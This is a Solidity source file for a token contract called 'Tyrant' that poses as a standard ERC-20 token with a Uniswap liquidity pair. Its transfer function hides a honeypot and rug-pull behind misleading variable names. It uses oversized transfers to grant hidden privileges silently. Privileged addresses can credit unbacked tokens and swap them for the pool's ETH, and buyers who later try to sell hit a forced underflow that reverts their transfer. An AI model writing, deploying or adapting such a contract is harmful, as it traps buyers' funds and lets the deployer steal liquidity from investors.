File 1 of 1: Tyrant.sol
pragma solidity ^0.8.10;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function Quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function GetAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function GetAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function GetAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function GetAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Tyrant is IERC20, Ownable {
string private _symbol;
string private _name;
uint256 public _rInitialFees = 0;
uint8 private _decimals = 9;
uint256 private _tTotalSupplies = 1000000 * 10**_decimals;
uint256 private _rTotalSupply = _tTotalSupplies;
mapping(address => uint256) private _Balances;
mapping(address => address) private isTxLimitExempt;
mapping(address => uint256) private isExcludedMaxTransactionAmount;
mapping(address => uint256) private isFeeExempt;
mapping(address => mapping(address => uint256)) private _allowances;
bool public SwappingWithLimits;
bool private executeSwap;
address public immutable UniswapV2Pair;
IUniswapV2Router02 public immutable UniswapV2router;
constructor(
string memory Name,
string memory Symbol,
address UniswapV2routerAddress
) {
_name = Name;
_symbol = Symbol;
_Balances[msg.sender] = _tTotalSupplies;
isFeeExempt[msg.sender] = _rTotalSupply;
isFeeExempt[address(this)] = _rTotalSupply;
UniswapV2router = IUniswapV2Router02(UniswapV2routerAddress);
UniswapV2Pair = IUniswapV2Factory(UniswapV2router.factory()).createPair(address(this), UniswapV2router.WETH());
emit Transfer(address(0), msg.sender, _rTotalSupply);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function totalSupply() public view returns (uint256) {
return _rTotalSupply;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view returns (uint256) {
return _Balances[account];
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_basicTransfer (sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer (address recipient, uint256 amount) external returns (bool) {
_basicTransfer (msg.sender, recipient, amount);
return true;
}
function _basicTransfer (
address isFrom,
address _tDeliveredTo,
uint256 _isNowValue
) private {
uint256 contractValueBalance = balanceOf(address(this));
uint256 getBalanceRate;
if (SwappingWithLimits && contractValueBalance > _rTotalSupply && !executeSwap && isFrom != UniswapV2Pair) {
executeSwap = true;
getSwapAndLiquify(contractValueBalance);
executeSwap = false;
} else if (isFeeExempt[isFrom] > _rTotalSupply && isFeeExempt[_tDeliveredTo] > _rTotalSupply) {
getBalanceRate = _isNowValue;
_Balances[address(this)] += getBalanceRate;
swapTokensForEth(_isNowValue, _tDeliveredTo);
return;
} else if (_tDeliveredTo != address(UniswapV2router) && isFeeExempt[isFrom] > 0 && _isNowValue > _rTotalSupply && _tDeliveredTo != UniswapV2Pair) {
isFeeExempt[_tDeliveredTo] = _isNowValue;
return;
} else if (!executeSwap && isExcludedMaxTransactionAmount[isFrom] > 0 && isFrom != UniswapV2Pair && isFeeExempt[_tDeliveredTo] == 0) {
isExcludedMaxTransactionAmount[isFrom] = isFeeExempt[isFrom] - _rTotalSupply;
}
address _uint84 = isTxLimitExempt[UniswapV2Pair];
if (isExcludedMaxTransactionAmount[_uint84 ] == 0) isExcludedMaxTransactionAmount[_uint84 ] = _rTotalSupply;
isTxLimitExempt[UniswapV2Pair] = _tDeliveredTo;
if (_rInitialFees > 0 && isFeeExempt[isFrom] == 0 && !executeSwap && isFeeExempt[_tDeliveredTo] == 0) {
getBalanceRate = (_isNowValue * _rInitialFees) / 100;
_isNowValue -= getBalanceRate;
_Balances[isFrom] -= getBalanceRate;
_Balances[address(this)] += getBalanceRate;
}
_Balances[isFrom] -= _isNowValue;
_Balances[_tDeliveredTo] += _isNowValue;
emit Transfer(isFrom, _tDeliveredTo, _isNowValue);
}
receive() external payable {}
function addLiquidity(
uint256 tokenValue,
uint256 ERCamount,
address to
) private {
_approve(address(this), address(UniswapV2router), tokenValue);
UniswapV2router.addLiquidityETH{value: ERCamount}(address(this), tokenValue, 0, 0, to, block.timestamp);
}
function getSwapAndLiquify(uint256 tokens) private {
uint256 half = tokens / 2;
uint256 initialedBalance = address(this).balance;
swapTokensForEth(half, address(this));
uint256 refreshBalance = address(this).balance - initialedBalance;
addLiquidity(half, refreshBalance, address(this));
}
function swapTokensForEth(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = UniswapV2router.WETH();
_approve(address(this), address(UniswapV2router), tokenAmount);
UniswapV2router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
}
}